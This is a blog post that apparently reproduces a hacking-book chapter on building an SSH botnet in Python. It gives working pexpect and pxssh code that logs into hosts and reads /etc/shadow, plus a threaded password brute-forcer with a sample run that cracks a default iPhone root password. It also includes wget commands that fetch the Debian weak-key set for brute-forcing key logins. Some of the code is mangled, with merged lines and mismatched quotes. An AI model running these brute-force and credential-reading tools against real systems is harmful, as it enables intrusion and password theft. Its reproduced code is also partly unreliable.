Building an SSH BotNet with Python
BUILDING AN SSH BOTNET WITH PYTHON
Now that we have constructed a port scanner to find targets, we can begin the
task of exploiting the vulnerabilities of each service. let's build an SSH botnet with python
The Morris Worm includes
forcing common usernames and passwords against the remote shell (RSH)
service as one of its three attack vectors. In 1988, RSH provided an excellent
(although not very secure) method for a system administrator to remotely
connect to a machine and manage it by performing a series of terminal commands
on the host.
The Secure Shell (SSH) protocol has since replaced RSH by
combining RSH with a public-key cryptographic scheme in order to secure the
traffic. However, this does very little to stop the same attack vector by forcing
out common user names and passwords. SSH Worms have proven to be very
successful and common attack vectors.
Take a look at the intrusion detection
system (IDS) log from our very own www.violentpython.org for a recent SSH
attack. Here, the attacker has attempted to connect to the machine using the
accounts ucla, oxford, and matrix.
These are interesting choices. Luckily for us,
the IDS prevented further SSH login attempts from the attacking IP address
after noticing its trend to forcibly produce the passwords.
Received From: violentPython->/var/log/auth.log
Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access
to the system."
Portion of the log(s):
Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from
67.228.3.58 Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from
67.228.3.58
Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from
67.228.3.58
Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from
67.228.3.58
Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from
67.228.3.58
Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from
67.228.3.58
Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from
67.228.3.58
Interacting with SSH Through Pexpect - botnet
Lets implement our own automated SSH Worm that brute forces user credentials
against a target. Because SSH clients require user interaction, our script
must be able to wait and match for an expected output before sending further
input commands.
Consider the following scenario. In order to connect to our
SSH machine at IP Address, 127.0.0.1, the application first asks us to confirm
the RSA key fingerprint. In this case, we must answer, “yes” before continuing.
Next, the application asks us to enter a password before granting us a command
prompt. Finally, we execute our command uname –v to determine the
kernel version running on our target.
attacker$ ssh root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (RSA) to the list of known
hosts.
Password:**************
Last login: Mon Oct 17 23:56:26 2011 from localhost
attacker:! uname -v
Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011;
root:xnu-1699.24.8!1/RELEASE_X86_64
In order to automate this interactive console, we will make use of a third party
Python module named Pexpect (available to download at http://pexpect.
sourceforge.net). Pexpect has the ability to interact with programs, watch for
expected outputs, and then respond based on expected outputs.
This makes
it an excellent tool of choice for automating the process of brute forcing SSH
user credentials.
Examine the function connect(). This function takes a username, hostname,
and password and returns an SSH connection resulting in an SSH spawned
connection.
Utilizing the pexpect library, it then waits for an expected output.
Three possible expected outputs can occur—a timeout, a message indicating
that the host has a new public key, or a password prompt. If a timeout occurs,
then the session.expect() method returns to zero. The following selection
statement notices this and prints an error message before returning.
If the
child.expect() method catches the ssh_newkey message, it returns a 1. This
forces the function to send a message ‘yes’ to accept the new key. Following
this, the function waits for the password prompt before sending the SSH
password.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
Once authenticated, we can now use a separate function command() to send
commands to the SSH session. The function command() takes an SSH session
and command string as input. It then sends the command string to the session
and waits for the command prompt. After catching the command prompt, it
prints this output from the SSH session.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
Wrapping everything together, we now have a script that can connect and control
the SSH session interactively.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
----------------------
Running the script, we see we can connect to an SSH server to remotely control
a host. While we ran the simple command to displaying the hashed password
for the root user from /etc/shadow file, we could use the tool to something
more devious like using wget to download a post exploitation toolkit.
You can
start an SSH server on Backtrack by generating ssh-keys and then starting the
SSH service. Try starting the SSH server and connecting to it with the script.
attacker# sshd-generate
Generating public/private rsa1 key pair.
<..SNIPPED..>
attacker# service ssh start
ssh start/running, process 4376
attacker# python sshCommand.py
cat /etc/shadow | grep root
root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S/
GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::
Brute Forcing SSH Passwords with Pxssh
While writing the last script really gave us a deep understanding of the capabilities
of pexpect, we can really simplify the previous script using pxssh.
Pxssh is a
specialized script included the pexpect library. It contains the ability to directly
interact with SSH sessions with pre-defined methods for login(), logout(),
prompt(). Using pxssh, we can reduce our previous script to the following.
import pxssh
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)return s
except:
print '[-] Error Connecting'
exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')
Our script is near complete. We only have a few minor modifications to
get the script to automate the task of brute forcing SSH credentials. Other
than adding some option parsing to read in the hostname, username, and
password file, the only thing we need to do is slightly modify the connect()
function.
If the login() function succeeds without exception, we will print a
message indicating that the password is found and update a global Boolean
indicating so. Otherwise, we will catch the exception. If the exception indicates
that the password was 'refused’, we know the password failed and we
just return. However, if the exception indicates that the socket is 'read_nonblocking’,
then we will assume the SSH server is maxed out at the number
of connections, and we will sleep for a few seconds before trying again with
the same password. Additionally, if the exception indicates that pxssh is having
difficulty obtaining a command prompt, we will sleep for a second to
allow it to do so.
Note that we include a Boolean release included in the
connect() function arguments. Since connect() can recursively call another
connect(), we only want the caller to be able to release our connection_lock
semaphore.
import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ’ + password
Found = Trueexcept Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, \password, True))
child = t.start()
if __name__ == '__main__':
main()
Trying the SSH password brute force against a device provides the following
results. It is interesting to note the password found is ‘alpine’.
This is the default
root password on iPhone devices. In late 2009, a SSH worm attacked jail-broken
iPhones. Often when jail-breaking the device, users enabled an OpenSSH
server on the iPhone. While this proved extremely useful for some, several
users were unaware of this new capability.
The worm iKee took advantage this botnet
new capability by trying the default password against devices. The authors of
the worm did not intend any harm with the worm. Rather, they changed the
background image of the phone to a picture of Rick Astley with the words “ikee
never gonna give you up."
attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
[-] Testing: 123456
[-] Testing: 12345
[-] Testing: 123456789
[-] Testing: password
[-] Testing: iloveyou
[-] Testing: princess
[-] Testing: 1234567
[-] Testing: alpine
[-] Testing: password1
[-] Testing: soccer
[-] Testing: anthony
[-] Testing: friends
[+] Password Found: alpine
[-] Testing: butterfly
[*] Exiting: Password Found
Exploiting SSH Through Weak Private Keys - botnet
Passwords provide a method of authenticating to an SSH server but this is
not the only one. Additionally, SSH provides the means to authenticate using
public key cryptography.
In this scenario, the server knows the public key and
the user knows the private key. Using either RSA or DSA algorithms, the server
produces these keys for logging into SSH. Typically, this provides an excellent
method for authentication. With the ability to generate 1024-bit, 2048-bit, or4096-bit keys, this authentication process makes it difficult to use brute force
as we did with weak passwords.
However, in 2006 something interesting happened with the Debian Linux Distribution.
A developer commented on a line of code found by an automated
software analysis toolkit. The particular line of code ensured entropy in the creation
of SSH keys. By commenting on the particular line of code, the size of the
searchable key space dropped to 15-bits of entropy (Ahmad, 2008). Without
only 15-bits of entropy, this meant only 32,767 keys existed for each algorithm
and size.
HD Moore, CSO and Chief Architect at Rapid7, generated all of the
1024-bit and 2048 bit keys in under two hours (Moore, 2008). Moreover, he
made them available for download at: http://digitaloffense.net/tools/debianopenssl/.
You can download the 1024-bit keys to begin. After downloading
and extracting the keys, go ahead and delete the public keys, since we will only
need the private keys to test our connection.
attacker# wget http://digitaloffense.net/tools/debian-openssl/debian_
ssh_dsa_1024_x86.tar.bz2
--2012-06-30 22:06:32--http://digitaloffense.net/tools/debian-openssl/
debian_ssh_dsa_1024_x86.tar.bz2
Resolving digitaloffense.net... 184.154.42.196, 2001:470:1f10:200::2
Connecting to digitaloffense.net|184.154.42.196|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30493326 (29M) [application/x-bzip2]
Saving to: 'debian_ssh_dsa_1024_x86.tar.bz2'
100%[==================================================
===================================================>
] 30,493,326 496K/s in 74s
2012-06-30 22:07:47 (400 KB/s) - 'debian_ssh_dsa_1024_x86.tar.bz2'
saved [30493326/30493326]
attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024_x86.tar
attacker# cd dsa/1024/
attacker# ls
00005b35764e0b2401a9dcbca5b6b6b5-1390
00005b35764e0b2401a9dcbca5b6b6b5-1390.pub
00058ed68259e603986db2af4eca3d59-30286
00058ed68259e603986db2af4eca3d59-30286.pub
0008b2c4246b6d4acfd0b0778b76c353-29645
0008b2c4246b6d4acfd0b0778b76c353-29645.pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
000b168ba54c7c9c6523a22d9ebcad6f-18228.pub
000b69f08565ae3ec30febde740ddeb7-6849
000b69f08565ae3ec30febde740ddeb7-6849.pub
000e2b9787661464fdccc6f1f4dba436-11263
000e2b9787661464fdccc6f1f4dba436-11263.pub
<..SNIPPED..>
attacker# rm -rf dsa/1024/*.pub
This mistake lasted for 2 years before it was discovered by a security researcher.
As a result, it is accurate to state that quite a few servers were built with a
weakened SSH service.
It would be nice if we could build a tool to exploit this
vulnerability. However, with access to the key space, it is possible to write a
small Python script to brute force through each of the 32,767 keys in order to
authenticate to a passwordless SSH server that relies upon a public-key cryptograph.
In fact, the Warcat Team wrote such a script and posted it to milw0rm
within days of the vulnerability discovery. Exploit-DB archived the Warcat Team
script at: http://www.exploit-db.com/exploits/5720/. However, lets write our
own script utilizing the same pexpect library we used to brute force through
password authentication.
The script to test weak keys proves nearly very similar to our brute force password
authentication. To authenticate to SSH with a key, we need to type ssh
user@host –i keyfile –o PasswordAuthentication=no. For the following script, we
loop through the set of generated keys and attempt a connection. If the connection
succeeds, we print the name of the keyfile to the screen.
Additionally,
we will use two global variables Stop and Fails. Fails will keep count of the
number of failed connection we have had due to the remote host closing the
connection. If this number is greater than 5, we will terminate our script. If our
scan has triggered a remote IPS that prevents our connection, there is no sense
continuing. Our Stop global variable is a Boolean that lets us known that we
have a found a key and the main() function does not need to start any new
connection threads.
Comments
Post a Comment